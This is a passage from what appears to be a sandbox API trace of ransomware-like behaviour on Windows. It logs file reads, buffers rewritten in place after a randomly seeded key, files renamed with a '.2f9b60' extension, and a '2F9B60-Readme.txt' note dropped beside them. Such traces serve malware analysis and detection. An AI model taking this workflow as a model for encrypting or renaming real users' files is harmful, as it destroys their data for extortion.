(x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 1 [0153.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa58 [0153.362] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x2575f800 | out: lpFileSize=0x2575f800*=5682) returned 1 [0153.362] SetFilePointerEx (in: hFile=0xa58, liDistanceToMove=0x162e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.362] ReadFile (in: hFile=0xa58, lpBuffer=0x2575f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2575f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2575f780*, lpNumberOfBytesRead=0x2575f7c8*=0x4, lpOverlapped=0x0) returned 1 [0153.517] SetFilePointerEx (in: hFile=0xa58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053640 [0153.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536d0 [0153.518] NtQuerySystemTime (in: CurrentTime=0x2575f6c0 | out: CurrentTime=0x2575f6c0*=132462177586438000) returned 0x0 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x31bada19 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0xdca9fb [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x24f0ab1 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x39fc0777 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x1ccfb1d0 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x1f6825d3 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x1e7748a8 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x16a85c42 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x71d70b05 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x42907f52 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x77032350 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x1429f770 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0xb833fb9 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x4972cde7 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x4a2449e1 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x78326002 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x25ed5f3f [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x23f62bc4 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x362039d [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x28cbf7c7 [0153.518] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x585e41a1 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x1314386a [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0xa759ec2 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x4aad56e9 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x67d86cf9 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x9e88670 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x67d86cf9 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x30074cf5 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x79657f1f [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x769f55c6 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x409cf481 [0153.519] RtlRandomEx (in: Seed=0x2575f6b0 | out: Seed=0x2575f6b0) returned 0x2feec592 [0153.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053700 [0153.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0153.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053730 [0153.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0153.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0153.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be00 [0153.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0153.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42613da0 [0153.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426179b0 [0153.528] ReadFile (in: hFile=0xa58, lpBuffer=0x42613da0, nNumberOfBytesToRead=0x1632, lpNumberOfBytesRead=0x2575f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42613da0*, lpNumberOfBytesRead=0x2575f6b0*=0x1632, lpOverlapped=0x0) returned 1 [0154.262] SetFilePointerEx (in: hFile=0xa58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.262] WriteFile (hFile=0xa58, lpBuffer=0x426179b0, nNumberOfBytesToWrite=0x1632, lpNumberOfBytesWritten=0x2575f6b4, lpOverlapped=0x0) [0186.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e7f0 [0186.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e7c0 [0186.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e7c0) returned 1 [0186.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426179b0) returned 1 [0186.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42613da0) returned 1 [0186.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0186.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0186.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d1b0 [0186.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be00 [0186.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0186.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e7c0 [0186.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e7c0) returned 1 [0186.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d1f0 [0186.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e7c0 [0186.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dec0 [0186.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dec0) returned 1 [0186.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0186.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0186.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x43101da0 [0186.827] SetFilePointerEx (in: hFile=0xa58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.827] WriteFile (in: hFile=0xa58, lpBuffer=0x43101da0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2575f7d0, lpOverlapped=0x0 | out: lpBuffer=0x43101da0*, lpNumberOfBytesWritten=0x2575f7d0*=0x114, lpOverlapped=0x0) returned 1 [0201.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0201.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ff0) returned 1 [0201.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20266ff0 [0201.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267110 [0201.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0201.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202671a0) returned 1 [0201.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce5c740 [0201.175] sprintf (in: _Dest=0x1ce5c740, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c742, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c744, _Format="%c%c" | out: _Dest="07") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c746, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c748, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c74a, _Format="%c%c" | out: _Dest="08") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c74c, _Format="%c%c" | out: _Dest="06") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c74e, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c750, _Format="%c%c" | out: _Dest="07") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c752, _Format="%c%c" | out: _Dest="82") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c754, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c756, _Format="%c%c" | out: _Dest="b8") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c758, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c75a, _Format="%c%c" | out: _Dest="59") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c75c, _Format="%c%c" | out: _Dest="ef") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c75e, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c760, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c762, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.175] sprintf (in: _Dest=0x1ce5c764, _Format="%c%c" | out: _Dest="24") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c766, _Format="%c%c" | out: _Dest="3f") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c768, _Format="%c%c" | out: _Dest="44") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c76a, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c76c, _Format="%c%c" | out: _Dest="7b") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c76e, _Format="%c%c" | out: _Dest="de") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c770, _Format="%c%c" | out: _Dest="21") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c772, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c774, _Format="%c%c" | out: _Dest="66") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c776, _Format="%c%c" | out: _Dest="44") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c778, _Format="%c%c" | out: _Dest="86") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c77a, _Format="%c%c" | out: _Dest="73") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c77c, _Format="%c%c" | out: _Dest="3f") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c77e, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c780, _Format="%c%c" | out: _Dest="58") returned 2 [0201.176] sprintf (in: _Dest=0x1ce5c782, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.176] RtlInitAnsiString (in: DestinationString=0x2575f848, SourceString="eaa207bff408062b0782feb8ed59efba2a4f243f44eb7bde211b664486733fce58b2" | out: DestinationString="eaa207bff408062b0782feb8ed59efba2a4f243f44eb7bde211b664486733fce58b2") [0201.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x2575f818, SourceString="eaa207bff408062b0782feb8ed59efba2a4f243f44eb7bde211b664486733fce58b2", AllocateDestinationString=1 | out: DestinationString="eaa207bff408062b0782feb8ed59efba2a4f243f44eb7bde211b664486733fce58b2") returned 0x0 [0201.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318a0c0 [0201.177] wcscat (in: _Dest=0x1ced0c80, _Source="eaa207bff408062b0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0" [0201.177] wcscat (in: _Dest=0x1ced0c80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0.2f9b60") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0.2f9b60" [0201.177] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0.2f9b60", NtPathName=0x2575f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\eaa207bff408062b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf0) returned 0x1b78e280 [0205.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 [0205.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432050b0) returned 1 [0205.769] NtQueryInformationFile (in: FileHandle=0xa58, IoStatusBlock=0x2575f858, FileInformation=0x2575f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2575f858, FileInformation=0x2575f868) returned 0x0 [0205.769] NtSetInformationFile (FileHandle=0xa58, IoStatusBlock=0x2575f858, FileInformation=0x2575f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0c80) returned 1 [0208.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a0c0) returned 1 [0208.588] FlushFileBuffers (hFile=0xa58) returned 1 [0208.597] CloseHandle (hObject=0xa58) returned 1 [0210.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4310a7f0 [0210.557] wcscpy (in: _Dest=0x4310a7f0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0210.557] wcscat (in: _Dest=0x4310a7f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" [0210.557] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\2f9b60-readme.txt")) returned 0xffffffff [0210.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1818 [0215.279] WriteFile (in: hFile=0x1818, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2575f710, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2575f710*=0xba9, lpOverlapped=0x0) returned 1 [0222.410] CloseHandle (hObject=0x1818) returned 1 [0224.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a7f0) returned 1 [0224.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e180) returned 1 Thread: id = 2412 os_tid = 0x1e24 [0153.364] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml")) returned 0x20 [0153.364] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.365] GetLastError () returned 0x5 [0153.365] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 Thread: id = 2413 os_tid = 0x1e28 [0153.367] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat")) returned 0x20 [0153.369] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT", dwFileAttributes=0x20) returned 1 [0153.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1858 [0153.371] GetFileSizeEx (in: hFile=0x1858, lpFileSize=0x2270f660 | out: lpFileSize=0x2270f660*=7680) returned 1 [0153.371] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.371] ReadFile (in: hFile=0x1858, lpBuffer=0x2270f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2270f628, lpOverlapped=0x0 | out: lpBuffer=0x2270f5e0*, lpNumberOfBytesRead=0x2270f628*=0x4, lpOverlapped=0x0) returned 1 [0153.528] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536d0 [0153.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053760 [0153.529] NtQuerySystemTime (in: CurrentTime=0x2270f520 | out: CurrentTime=0x2270f520*=132462177586594000) returned 0x0 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x41206976 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x754c9d11 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x6ce28d08 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x5e9c2640 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x556c5865 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x698c2cc [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x49f97121 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x61522df8 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x139e398a [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x38f6867 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x7f0b2203 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x5dcf5aa [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0xc879865 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x59568e3c [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x7ef0a784 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x61522df8 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x59568e3c [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x46a577e3 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x2ab84535 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x6a7e9d68 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x763333e9 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x121caa3d [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x6c47795d [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x5edfc002 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x2838c446 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x54447f92 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x26b17999 [0153.529] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x37e9ff7f [0153.530] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x3903d69b [0153.530] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x663096c3 [0153.530] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x5edfc002 [0153.530] RtlRandomEx (in: Seed=0x2270f510 | out: Seed=0x2270f510) returned 0x458d1d08 [0153.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053790 [0153.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060130 [0153.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537c0 [0153.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0153.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053760) returned 1 [0153.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c40 [0153.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060130 [0153.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4261b5c0 [0153.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4261f1d0 [0153.538] ReadFile (in: hFile=0x1858, lpBuffer=0x4261b5c0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2270f510, lpOverlapped=0x0 | out: lpBuffer=0x4261b5c0*, lpNumberOfBytesRead=0x2270f510*=0x1e00, lpOverlapped=0x0) returned 1 [0154.261] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.261] WriteFile (in: hFile=0x1858, lpBuffer=0x4261f1d0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2270f514, lpOverlapped=0x0 | out: lpBuffer=0x4261f1d0*, lpNumberOfBytesWritten=0x2270f514*=0x1e00, lpOverlapped=0x0) returned 1 [0162.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0162.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052470 [0162.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052470) returned 1 [0162.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4261f1d0) returned 1 [0162.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4261b5c0) returned 1 [0162.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0162.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c40) returned 1 [0162.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052470 